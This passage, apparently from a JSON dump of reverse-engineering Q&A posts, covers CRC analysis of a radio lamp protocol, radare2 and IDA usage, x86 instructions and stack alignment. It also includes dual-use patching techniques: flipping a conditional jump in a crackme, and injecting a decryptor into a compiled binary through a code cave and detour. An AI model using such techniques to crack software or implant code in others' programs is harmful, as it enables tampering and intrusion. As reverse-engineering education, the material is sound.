f2\u00a0b7\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1b\u00a021  00\u00a060\u00a01f\u00a055  5c  85\u00a0e6\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1b\u00a081  00\u00a060\u00a01f\u00a055  5c  20\u00a0c6\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1c\u00a001  00\u00a060\u00a01f\u00a055  5b  bf\u00a041\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1d\u00a001  00\u00a060\u00a01f\u00a055  5a  bd\u00a015\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1d\u00a081  00\u00a060\u00a01f\u00a055  5a  2d\u00a03d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1d\u00a0a1  00\u00a060\u00a01f\u00a055  5a  18\u00a035\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1e\u00a041  00\u00a060\u00a01f\u00a055  59  7b\u00a0ec\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1e\u00a0c1  00\u00a060\u00a01f\u00a055  58  fb\u00a0e5\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1f\u00a021  00\u00a060\u00a01f\u00a055  58  8c\u00a0b4\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1f\u00a041  00\u00a060\u00a01f\u00a055  58  79\u00a0b8\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1f\u00a061  00\u00a060\u00a01f\u00a055  58  4c\u00a0b0\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1f\u00a0e1  00\u00a060\u00a01f\u00a055  57  c3\u00a06b\n</code></pre>\n",
        "Title": "Identification of RF hash algorithm",
        "Tags": "|crc|hash-functions|",
        "Answer": "<p>As explained <a href=\"https://crypto.stackexchange.com/q/32704/555\">there</a> for a similar problem, facing an unknown Frame Check Sequence, the first thing should be to determine if it is an affine function of the frame data, for the sense that has in cryptography. This can be defined by the property:</p>\n\n<blockquote>\n  <p>For any set with an odd number of frames of equal length, the XOR of the Frame Check Sequences for these frames is also the FCS for the (often, other) frame obtained by XOR-ing the data portion of the frames in the set.</p>\n</blockquote>\n\n<p>All CRCs are affine (including non-standard variations); secure cryptographic hashes and Message Authentication Codes are not.</p>\n\n<p>There is evidence that indeed that FCS is affine: it is easy to isolate blocks of four (or larger even number) of different lines such that one is the XOR of the others, and that allows prediction of the last two bytes for most lines. Two examples:</p>\n\n<pre><code>aaaaaaaaaa908e7c64ce2033b8a0263fc0 0241 00601f55 55 7564\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0261 00601f55 55 406c\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0401 00601f55 53 b89b\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0421 00601f55 53 8d93\n\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0441 00601f55 53 789f\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0501 00601f55 52 bacf\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0661 00601f55 51 493e\naaaaaaaaaa908e7c64ce2033b8a0263fc0 0721 00601f55 50 8b6e\n</code></pre>\n\n<p>Using Gaussian elimination, I verified that all the question's 93 given distinct lines are consistent with an affine function, and determined the influence on the rightmost two bytes of the 13 bits that vary in the rest of the frame. Therefore, the whole data set becomes equivalent to (any) one of it lines, and the following short table telling the influence on the FCS of toggling each of the 13 bits: </p>\n\n<pre><code>byte  byte    FCS influence\nindex mask    (bytes 24 and 25)\n 17   0x10    0x157F\n 17   0x08    0x1BBD\n 17   0x04    0x0DDE\n 17   0x02    0x06EF\n 17   0x01    0x1275\n 18   0x80    0x9028\n 18   0x40    0xC004\n 18   0x20    0x3508\n 23   0x10    0x1231\n 23   0x08    0x0918\n 23   0x04    0x048C\n 23   0x02    0x0246\n 23   0x01    0x1021\n</code></pre>\n\n<p>This is enough to compute the FCS of 2<sup>13</sup> different frames, starting from that of the reference frame, and XORing its FCS with the FCS influence for any bit that differs from the reference frame. The code is only a few lines of C. That works for any affine function when we have adequate examples. We need one example frame per frame bit excluding FCS when we can choose the example frames, and typically only a few more frames for uniformly random frames.</p>\n\n<hr>\n\n<p>There is further regularity in there! The FCS influence for the 5 bits of byte 23 is precisely that expected for the CRC-16-CCITT polynomial <em>x</em><sup>16</sup>+<em>x</em><sup>12</sup>+<em>x</em><sup>5</sup>+1 (when using big-endian convention): the influence of bit <em>i</em> counting from the right (here 26*8-1-<em>n</em> with <em>n</em> from the left and 0-based) is the value obtained by computing the remainder of the polynomial division of <em>x</em><sup><em>i</em></sup> by <em>x</em><sup>16</sup>+<em>x</em><sup>12</sup>+<em>x</em><sup>5</sup>+1, and turning the remainder polynomial to a value by evaluating it for <em>x</em>=2.</p>\n\n<p>E.g., for influence of byte 23 mask 0x10, evaluating the remainder of the polynomial division of <em>x</em><sup>20</sup> by <em>x</em><sup>16</sup>+<em>x</em><sup>12</sup>+<em>x</em><sup>5</sup>+1 , or equivalently <code>0x100000</code> by <code>0x011021</code>, goes <code>0x100000^(0x011021&lt;&lt;4) = 0x010210</code> then <code>0x010210^(0x011021&lt;&lt;0) = 0x1231</code>.</p>\n\n<hr>\n\n<p>One possibility is that this FCS is one of countless failed attempts to implement CRC-16-CCITT; though one that went unusually out of track, in a way that still puzzles me. I'm tempted to incriminate a partial or misaligned capture, but that tends to conflicts with the statement:</p>\n\n<blockquote>\n  <p>When I 'replay' the collected messages the lamp reacts as expected.</p>\n</blockquote>\n\n<p>More samples might help. Perhaps, put this into a <a href=\"https://pastebin.com/\" rel=\"nofollow noreferrer\">pastebin</a> linked in the question or a comment. Perhaps, give settings of the <a href=\"https://github.com/blueardour/circus/blob/master/Datasheet/Wireless/NORDIC/nRF24L01_Product_Specification_v2_0.pdf\" rel=\"nofollow noreferrer\">NRF24L01</a> device and/or software used for the capture.</p>\n"
    },
    {
        "Id": "20336",
        "CreationDate": "2019-01-11T03:48:23.600",
        "Body": "<p>I'm new to radare2 here. Just started learning and I was trying out a challenge. What does the 3 columns in the radare2 visual mode represent?</p>\n\n<p>May I know how the command below:</p>\n\n<p><code>wa je 0x400976 @0x00400968</code></p>\n\n<p>changes <code>760c</code> to <code>740c</code> and <code>jne 0x400976</code> to <code>je 0x400976</code>?</p>\n\n<p>Also, what does that accomplish?\nDoes it just bypass the function</p>\n\n<p>Thank you!</p>\n\n<p>full program\n<a href=\"https://i.stack.imgur.com/Qp8kf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qp8kf.png\" alt=\"full program\"></a></p>\n\n<p>command\n<a href=\"https://i.stack.imgur.com/HMmEr.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HMmEr.jpg\" alt=\"radare2\"></a></p>\n",
        "Title": "How does this command modify the condition?",
        "Tags": "|radare2|",
        "Answer": "<p>You can check the official <a href=\"https://radare.gitbooks.io/radare2book\" rel=\"nofollow noreferrer\">Radare 2 Book</a> where you should find the first steps as well as the basic command to go. The write command is described <a href=\"https://radare.gitbooks.io/radare2book/basic_commands/write.html\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>Another resouce I found so useful when I started learning r2 is <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-1/\" rel=\"nofollow noreferrer\">the two part tutorial</a> Megabeets wrote about a simple crackme.</p>\n"
    },
    {
        "Id": "20338",
        "CreationDate": "2019-01-11T07:33:51.557",
        "Body": "<p>I have been trying to figure out exactly what is happening with these instructions and can't make sense of them. I can see that the PSHUFLW instruction acts upon the first 16 bytes of the XMM register but can not figure it out. I have read the decription in the <a href=\"https://www.scss.tcd.ie/~jones/CS4021/41417-319433-012.pdf\" rel=\"noreferrer\">Intel\u00ae Architecture Instruction Set Extensions Programming Reference </a> but just can't seem to get it. I am a very visual person so any help would be greatly appreciated. I have run some tests using the code </p>\n\n<pre><code>xxm0 = 00000000000000000000000000003E2D\nPSHUFLW xmm0, xmm0, N\n</code></pre>\n\n<p>and have the following results </p>\n\n<pre><code> N = 0, output = 00000000000000003E2D3E2D3E2D3E2D\n N = 1, output = 00000000000000003E2D3E2D3E2D0000\n N = 2, output = 00000000000000003E2D3E2D3E2D0000\n N = 3, output = 00000000000000003E2D3E2D3E2D0000\n N = 4, output = 00000000000000003E2D3E2D00003E2D\n N = 5, output = 00000000000000003E2D3E2D00000000\n N = 6, output = 00000000000000003E2D3E2D00000000\n N = 7, output = 00000000000000003E2D3E2D00000000\n N = 8, output = 00000000000000003E2D3E2D00003E2D\n N = 9, output = 00000000000000003E2D3E2D00000000\n N = 10, output = 00000000000000003E2D00003E2D3E2D\n N = 11, output = 00000000000000003E2D00003E2D0000\n N = 12, output = 00000000000000003E2D00003E2D0000\n N = 13, output = 00000000000000003E2D00003E2D0000\n N = 14, output = 00000000000000003E2D000000003E2D\n N = 15, output = 00000000000000003E2D000000000000\n N = 16, output = 00000000000000003E2D000000000000\n N = 17, output = 00000000000000003E2D000000000000\n N = 18, output = 00000000000000003E2D000000003E2D\n N = 19, output = 00000000000000003E2D000000000000\n N = 20, output = 00000000000000003E2D00003E2D3E2D\n</code></pre>\n\n<p>I would like to know how these instructions work, and maybe a visual guide on future instructions similar to this. I have only been reversing for a couple of weeks so I am very fresh. Thanks for any help you can provide.</p>\n",
        "Title": "How do the PSHUFLW and PSHUFD instructions work?",
        "Tags": "|disassembly|x86|register|intel|",
        "Answer": "<p>The visual story of PSHUFLW is as follows:</p>\n\n<p><a href=\"https://i.stack.imgur.com/iGSnL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iGSnL.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>I will use <code>Position</code> as same mean as <code>Order</code> here and starts from Zero (Zero-Indexed).</li>\n</ul>\n\n<p>As you can see it selects words from source based on value of N. The Order/Position of selection will be chosen by 2 bit values of N. for example when N=4, </p>\n\n<ol>\n<li>According to first bite (2-bits) of N (= 00), it will select <code>word</code> at position/order 0 of source and copies it in Position 0 of destination.</li>\n<li>According to second bite (2-bits) of N (= 01), it will select <code>word</code> at position/order 1 of source and copies it in 1st Position of destination.</li>\n<li>According to third bite (2-bits) of N (= 00), it will select <code>word</code> at position/order 0 of source and copies it in 2nd Position of destination.</li>\n<li>According to fourth bite (2-bits) of N (= 00), it will select <code>word</code> at position/order 0 of source and copies it in 3rd Position of destination.</li>\n</ol>\n\n<p>Next example when N=17,</p>\n\n<ol>\n<li>According to first bite (2-bits) of N (= 01), it will select <code>word</code> at position/order 1 of source and copies it in Position 0 of destination.</li>\n<li>According to second bite (2-bits) of N (= 00), it will select <code>word</code> at position/order 0 of source and copies it in 1st Position of destination.</li>\n<li>According to third bite (2-bits) of N (= 01), it will select <code>word</code> at position/order 1 of source and copies it in 2nd Position of destination.</li>\n<li>According to fourth bite (2-bits) of N (= 00), it will select <code>word</code> at position/order 0 of source and copies it in 3rd Position of destination.</li>\n</ol>\n\n<p>PS: your output for N=17 in above question is wrong! PSHUFD is just same except it will select doublewords from source and copies in destination. so low and high quadword in PSHUFD will be used while in PSHUFLW the low quadword used.</p>\n"
    },
    {
        "Id": "20340",
        "CreationDate": "2019-01-11T14:01:34.617",
        "Body": "<p>I have created a very basic golang program which display a message with fmt.Println().</p>\n\n<p>Here is what is see in radare2:</p>\n\n<pre><code>lea rcx, obj.main.statictmp_0 ; 0x4c84b0 ; \"y[K\"\nmov qword [local_48h], rcx\nlea rcx, [local_40h]        ; 0x40 ; '@' ; 64\nmov qword [rsp], rcx\nmov qword [local_8h], 1\nmov qword [local_10h], 1\ncall sym.fmt.Println\n</code></pre>\n\n<p>I suppose obj.main.statictmp_0 contains my string message.</p>\n\n<p>I have tried:</p>\n\n<pre><code>ps @obj.main.statictmp_0\n</code></pre>\n\n<p>but it does not display my message.\nAny idea ?</p>\n\n<p>Thanks</p>\n",
        "Title": "Print string at address with radare2",
        "Tags": "|radare2|",
        "Answer": "<p>use <code>pf S @obj.main.statictmp_0</code>. string length is at address <code>@obj.main.statictmp_0+8</code> if using 64bit or <code>@obj.main.statictmp_0+4</code> if using 32bit!</p>\n\n<pre><code>pf S @obj.main.statictmp_0   ; gives you string\npf p @obj.main.statictmp_0+8 ; gives you string length\n</code></pre>\n"
    },
    {
        "Id": "20349",
        "CreationDate": "2019-01-12T19:12:48.767",
        "Body": "<p>I am new with IDA assembler and i used to work with hopper app.\nthe problem is i can't change instruction in IDA from something like CBNZ to NOP.\nis there any button to do this? i can't find anything on the internet and I have been searching for it all day.\nI have tried many options from the edit menu.</p>\n",
        "Title": "how should i change an instruction to NOP in IDA?",
        "Tags": "|ida|assembly|arm|ios|",
        "Answer": "<p><strong>NOTE:</strong> I'm assuming you're using IDA 7.X, although this should work equally well for 6.X versions.</p>\n\n<p>The option you're looking for is called <code>Patch Program</code>. For your specific question, you'd do the following:</p>\n\n<ol>\n<li>Select the instruction you want to change</li>\n<li>Go to <code>Edit -&gt; Patch Program -&gt; Assemble</code></li>\n<li>Replace the instruction in the text box with the instruction you'd like it to be.</li>\n<li>Click OK</li>\n</ol>\n\n<p>The original instruction will now have been replaced with the new one.</p>\n\n<p><a href=\"https://resources.infosecinstitute.com/ida-program-patching/\" rel=\"noreferrer\">This article</a> has more info and examples of using the other options in the <code>Patch Program</code> submenu.</p>\n"
    },
    {
        "Id": "20359",
        "CreationDate": "2019-01-13T18:14:37.570",
        "Body": "<p>Radare2's afl command returns function names with a specific syntax that I could not find documentation on:</p>\n\n<p>For example:</p>\n\n<pre><code>radare2 -2 -A -q -c \"aflj\" C:/Windows/system32/advapi32.dll\n\n0x77cce13c   22 280          sub.ntdll.dll_RtlNtStatusToDosError_13c\n0x77cce259    7 62           fcn.77cce259\n0x77cce29c   10 88           sub.KERNEL32.dll_lstrcmpiW_29c\n0x77cce2f9   24 463          sub.KERNEL32.dll_lstrlenW_2f9\n0x77c617b4    1 40           sym.imp.KERNEL32.dll_LocalAlloc\n0x77c6abe5    5 92   -&gt; 130  sub.KERNEL32.dll_LocalAlloc_be5\n0x77c7edd5    1 20           sub.KERNEL32.dll_LocalAlloc_dd5\n</code></pre>\n\n<ul>\n<li>What is the meaning of the hexadecimal number after the function name ?</li>\n<li>Why is the core difference between the prefixes \"sym.\" and \"sub.\" of DLL function names ?</li>\n<li>What is the difference between library names in lower or uppercase ?</li>\n</ul>\n\n<p>The DLL file names are all in lowercase:</p>\n\n<ul>\n<li>C:\\Windows\\System32\\ntdll.dll</li>\n<li>C:\\Windows\\System32\\kernel32.dll</li>\n</ul>\n",
        "Title": "Function names syntax returned by radare2's afl?",
        "Tags": "|radare2|",
        "Answer": "<p>I will start by answering your specific three questions, and then will shed more light about the naming structure of functions in radare2.</p>\n\n<blockquote>\n  <p>What is the meaning of the hexadecimal number after the function name?</p>\n</blockquote>\n\n<p>The meaning of the 3 hexadecimal digits at the end of function names like \"sub.KERNEL32.dll_lstrlenW_2f9\" are the last 3 digits of the function address. The confusion here is because this is not an imported function name, but a regular function. This naming caused by the <code>aan</code> command which you probably used when you executed <code>aaa</code> or opened a file with th <code>-A</code> flag: <code>$ r2 -A &lt;filename&gt;</code>. </p>\n\n<p>As stated in the radare2 documentation:</p>\n\n<pre><code>...\naan                 autoname functions that either start with fcn.* or sym.func.*\n...\n</code></pre>\n\n<p>The <code>aan</code> command will auto-generate a name, based on the flags being used in the function. This should ease the analysis for the user before analyzing the function.</p>\n\n<p>So let's have a look at a function which is called <code>sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860</code>. You can see that an import function called \"DisableThreadLibraryCalls\" is being called. This is why the function was renamed by <code>aan</code>:</p>\n\n<pre><code>[0x18002a860]&gt; pdf\n\u256d (fcn) sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 35\n\u2502   sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 ();\n\u2502           ; arg unsigned int arg3 @ rdx\n\u2502           0x18002a860      4883ec28       sub rsp, 0x28\n\u2502           0x18002a864      83fa01         cmp edx, 1\n\u2502       \u256d\u2500&lt; 0x18002a867      7510           jne 0x18002a879\n\u2502       \u2502   0x18002a869      48833dff1f00.  cmp qword [0x18002c870], 0 ; [0x18002c870:8]=0\n\u2502      \u256d\u2500\u2500&lt; 0x18002a871      7506           jne 0x18002a879\n\u2502      \u2502\u2502   0x18002a873      ff159f170000   call qword sym.imp.KERNEL32.dll_DisableThreadLibraryCalls \n\u2502      \u2570\u2570\u2500&gt; 0x18002a879      b801000000     mov eax, 1\n\u2502           0x18002a87e      4883c428       add rsp, 0x28\n\u2570           0x18002a882      c3             ret\n[0x18002a860]&gt;\n</code></pre>\n\n<hr>\n\n<blockquote>\n  <p>Why is the core difference between the prefixes \"sym.\" and \"sub.\" of DLL function names?</p>\n</blockquote>\n\n<p><code>sym</code> stands for \"Symbol\". This is a symbol taken from the binary's <a href=\"https://en.wikipedia.org/wiki/Symbol_table\" rel=\"noreferrer\">Symbol Table</a>.\n<code>sub.</code> stands for \"Subroutine\". This can by a standalone function but most likely a part of a function, like JMPTABLE blocks, addresses in pointer table, etc.</p>\n\n<hr>\n\n<blockquote>\n  <p>What is the difference between library names in lower or uppercase?</p>\n</blockquote>\n\n<p>In general, radare2 keeps the case of the libraries as shown in the Import Address Tables. But I think sometimes it is being modified in favor of readability and to make it easier to differentiate between an import function, and a renamed function (<code>aan</code>).</p>\n\n<hr>\n\n<h2>ASCII-ART Time</h2>\n\n<p>I made some ASCII-arts for you, hope this would make things clearer.</p>\n\n<p><strong>Regular Function</strong></p>\n\n<pre><code>fcn.77cce259\n|      |\n|      |__ The function's address\n|\n|__ stands for \"Function\"\n</code></pre>\n\n<p><strong>Imported function</strong></p>\n\n<pre><code>sym.imp.KERNEL32.dll_LocalAlloc\n |   |     |            |\n |   |     |            |__ The imported function name, \"LocalAlloc\"\n |   |     |\n |   |     |__ the Library name. In this case, \"kernel32.dll\"\n |   |\n |   |\n |   |___ \"Import\", this is an imported function\n |\n |___ \"Symbol\", taken from the Symbol Table\n</code></pre>\n\n<p><strong>Auto-Generated Name</strong></p>\n\n<pre><code>sub.ntdll.dll_RtlNtStatusToDosError_13c\n |  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n |                   |\n |                   |__ auto-generated name based on flags that being used\n |                       the 3 digits at the end are the function's address\n |__ \"Subroutine\"\n</code></pre>\n"
    },
    {
        "Id": "20362",
        "CreationDate": "2019-01-13T22:54:57.980",
        "Body": "<p>I'm planning to read a MX25U1635E chip using the CH341a reader.</p>\n\n<p>The specs for that chip say it has a max voltage of 1.6-2.0 volts. The reader has an output of 3.3-5.0 volts.</p>\n\n<p>Most tutorials for the reader instruct you to just clamp it on the chip and start reading.</p>\n\n<p>Can I do that in my case, or do I have tweak the CH341a voltage down somehow before reading the chip? </p>\n",
        "Title": "Flash ROM has lower max voltage than read device?",
        "Tags": "|flash|bios|rom|",
        "Answer": "<p>The MX25U1635E is designed for 1.8 volt logic, whereas your programmer is designed for 3.3 or 5.0 volt logic. You're going to need a 1.8 volt adapter for the programmer or you will damage the MX25U1635E. </p>\n\n<p>If you google CH341A 1.8 volt adapter, you can find them for relatively cheap. </p>\n"
    },
    {
        "Id": "20363",
        "CreationDate": "2019-01-14T00:34:45.400",
        "Body": "<p>I have just converted this piece of code in assembly:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(int argc, char** argv) {\n    return (1);\n}\n</code></pre>\n\n<p>Here are my questions:</p>\n\n<ol>\n<li>Once you push the base-pointer value on to the stack, RSP will decrement automatically (to a lower address). This will also happen when memory was allocated for argc and argv (\"mov dword\" and \"mov qword\"). Is this correct? I don't see any instruction to move the stack-pointer up the stack, so I am assuming this is done implicitly.</li>\n<li>The instruction \"mov dword [rbp-4H], edi\" is 4 bytes less than the address in RBP, this is as expected since DWORD is 4 bytes in length. What I am confused about is why \"mov qword [rbp-10H], rsi\" is 10H (16 bytes)? Isn't QWORD 8 bytes in length? I was expecting the instruction to be \"mov qword [rbp-CH], rsi\", since 4+8=12 bytes.</li>\n<li>Can you explain to me what the comments on the right-side are? </li>\n</ol>\n\n<p>Below is the assembly code generated from my c program:</p>\n\n<pre><code>SECTION .text   align=1 execute                         ; section number 1, code\n\nmain:   ; Function begin\npush    rbp                                     ; 0000 _ 55\nmov     rbp, rsp                                ; 0001 _ 48: 89. E5\nmov     dword [rbp-4H], edi                     ; 0004 _ 89. 7D, FC\nmov     qword [rbp-10H], rsi                    ; 0007 _ 48: 89. 75, F0\nmov     eax, 1                                  ; 000B _ B8, 00000001\npop     rbp                                     ; 0010 _ 5D\nret                                             ; 0011 _ C3\n; main End of function\n\n\nSECTION .data   align=1 noexecute                       ; section number 2, data\n\nSECTION .bss    align=1 noexecute                       ; section number 3, bss\n</code></pre>\n",
        "Title": "Understanding assembly code: \"mov dword\" and \"mov qword\" in main.c",
        "Tags": "|assembly|",
        "Answer": "<p>Variables are aligned to some extent to help faster access to them. The alignment value is usually an implementation detail, but compilers usually follow Intel's recommendations to align/place variables next to each other.</p>\n<p>According to <a href=\"http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf\" rel=\"nofollow noreferrer\">Intel\u00ae 64 and IA-32 Architectures Optimization Reference Manual</a>, section 3.6.7 Stack Alignment*:</p>\n<blockquote>\n<p>Performance penalty of unaligned access to the stack happens when a\nmemory reference splits a cache line. This means that one out of eight\nspatially consecutive unaligned quadword accesses is always penalized,\nsimilarly for one out of 4 consecutive, non-aligned double-quadword\naccesses, etc.</p>\n<p>Aligning the stack may be beneficial any time there are\ndata objects that exceed the default stack alignment of the system.\nFor example, on 32/64bit Linux, and 64bit Windows, the default stack\nalignment is 16 bytes, while 32bit Windows is 4 bytes.</p>\n<p><em><strong>Assembly/Compiler Coding Rule 55. (H impact, M generality)</strong> Make sure\nthat the stack is aligned at the largest multi-byte granular data type\nboundary matching the register width.</em></p>\n</blockquote>\n<p>In your case on x64 the registers are 8 bytes wide and <code>argc</code> being an <code>int</code> is 4 bytes wide. Following the guideline above the variables are aligned to 8-byte boundary.</p>\n<pre><code> \u25ba 0x5555555545fe &lt;main+4&gt;                   mov    dword ptr [rbp - 4], edi\n   0x555555554601 &lt;main+7&gt;                   mov    qword ptr [rbp - 0x10], rsi\n   0x555555554605 &lt;main+11&gt;                  mov    eax, 0x2a\n   0x55555555460a &lt;main+16&gt;                  pop    rbp\n   0x55555555460b &lt;main+17&gt;                  ret    \n</code></pre>\n<p><code>edi</code> stores <code>argc</code> a 32 bit value - packed in a 64 bit boundary with the upper 32 bits of no use for you.</p>\n<pre><code>pwndbg&gt; tele rbp-0x10\n00:0000\u2502          0x7fffffffdf10 \u2014\u25b8 0x7fffffffe000 \u25c2\u2014 0x1\n01:0008\u2502          0x7fffffffdf18 \u25c2\u2014 0x0\n02:0010\u2502 rbp rsp  0x7fffffffdf20 \u2014\u25b8 0x555555554610 (__libc_csu_init) \u25c2\u2014 push   r15\n</code></pre>\n<p>So the <code>argv</code> starts 8 bytes above <code>argv</code></p>\n"
    },
    {
        "Id": "20372",
        "CreationDate": "2019-01-14T21:38:08.043",
        "Body": "<p>I'm a bit confused about what \"system\" refers to when looking at the callstack in x64dbg. Does it mean the code is currently being executed in ring0? I thought that only system calls are executed in ring0? (Which would mean that only code in ntdll would be executed by the system?) The word system seems to appear next to functions in user32 etc. Any help in correcting my misunderstanding would be very much appreciated. Thanks a bunch</p>\n",
        "Title": "x64dbg \"System\" meaning",
        "Tags": "|windows|x64dbg|",
        "Answer": "<p>It simply means that the location of the module is inside a \u201csystem\u201d directory (c:\\windows). For example kernel32.dll is a system module and your debuggee is usually a user module.</p>\n"
    },
    {
        "Id": "20388",
        "CreationDate": "2019-01-16T10:17:23.223",
        "Body": "<p>Let's say we have this simple \"hello world\" nasm code that will be compiled to an ELF executable:</p>\n\n<pre><code>global main\n\nsection .data\n    message db \"Hello World!\", 0x00\n\nsection .text\n\nmain:\n    call    hello\n    ret\n\nhello:\n    lea     rdi, [rel message]\n    call    puts\n    ret\n.end:\n</code></pre>\n\n<p>Is it possible to add a label called <code>decrypt</code> into the compiled ELF executable and then subsequently call it (with/without the source code)?</p>\n\n<pre><code>global main\n\nsection .data\n    message db \"Hello World!\", 0x00\n\nsection .text\n\nmain:\n    call    decrypt                              &lt;---------------Addition\n    call    hello\n    ret\n\ndecrypt:                                         &lt;---------------Addition\n    DECRYPTOR_SECTION hello, hello.end-hello     &lt;---------------Addition\n    ret                                          &lt;---------------Addition\n\nhello:\n    lea     rdi, [rel message]\n    call    puts\n    ret\n.end:\n</code></pre>\n",
        "Title": "Is it possible to add a label to an ELF executable and then call that label? If so, how?",
        "Tags": "|elf|patching|injection|nasm|",
        "Answer": "<p>I am not sure what your intent is.</p>\n\n<p>If you mean you have to add a function and call it before  main after the source is compiled, then yes it is definitely possible. All you have to do is run through some hoops like finding a code cave, assembling the new code in code cave, and detouring the first instruction of main to call your new function and return back to main's next instruction. </p>\n\n<p>If you mean I want the function to be sequential then it might be possible if you can destroy and recreate the assembly in-place (kinda tough).</p>\n\n<p>And no there is no label you need to calculate relative address / absolute address of the newly added function and use one form of e8 or ff25 call  </p>\n\n<p>Having source can help you in understanding the assembly but you have to play in assembly only if you have to patch a compiled executable.  </p>\n\n<p>A program prior to addition of encrypt proc will look like this (a simple msgbox in windows notice both caption and text are pointing to a string which is unintelligible)</p>\n\n<p><a href=\"https://i.stack.imgur.com/it6Kp.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/it6Kp.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>You may need to implement the commented out source code inline for decrypting </p>\n\n<pre><code>.386\n.model flat, stdcall\noption casemap:none\ninclude \\masm32\\include\\windows.inc\ninclude \\masm32\\include\\kernel32.inc\nincludelib kernel32.lib\ninclude \\masm32\\include\\user32.inc\nincludelib user32.lib\n\n.data\nEncrypted   db 217,243,234,245,252,249,255,254,183,227,176,228,229\n            db 228,255,226,249,241,252,176,254,255,190,162,144\n\n.code\nstart:\n    ;call decrypt\n    call hello\n    invoke ExitProcess,NULL\n\n; decrypt proc\n    ; xor ecx,ecx\n    ; complete:\n    ; lea esi , Encrypted \n    ; add esi,ecx\n    ; movzx eax , byte ptr ds:[esi]\n    ; xor eax ,090h\n    ; mov byte ptr ds:[Encrypted + ecx], al\n    ; add ecx,1\n    ; cmp byte ptr ds:[Encrypted + ecx - 1 ],0\n    ; jne complete\n    ; ret\n; decrypt endp\n\n\nhello proc\n    invoke MessageBox, NULL,addr Encrypted, addr Encrypted, MB_OK\n    ret\nhello endp \n\nend start\n</code></pre>\n\n<p>After you implement your decrypt proc some where in existing free space (called code cave) it may look like this  </p>\n\n<p>Now you have to destroy the first call jmp here decrypt \nadd the code that you destroyed and jump back to the next correct sequential instruction post the destroyed code</p>\n\n<pre><code>CPU Disasm\nAddress       Command                                            Comments\n00152000      XOR     ECX, ECX\n00152002      /LEA     ESI, [154000]\n00152008      |ADD     ESI, ECX\n0015200A      |MOVZX   EAX, BYTE PTR DS:[ESI]\n0015200D      |XOR     EAX, 00000090\n00152012      |MOV     BYTE PTR DS:[ECX+154000], AL\n00152018      |ADD     ECX, 1\n0015201B      |CMP     BYTE PTR DS:[ECX+153FFF], 0\n00152022      \\JNE     SHORT 00152002\n00152024      RETN\n</code></pre>\n"
    },
    {
        "Id": "20395",
        "CreationDate": "2019-01-17T04:24:36.177",
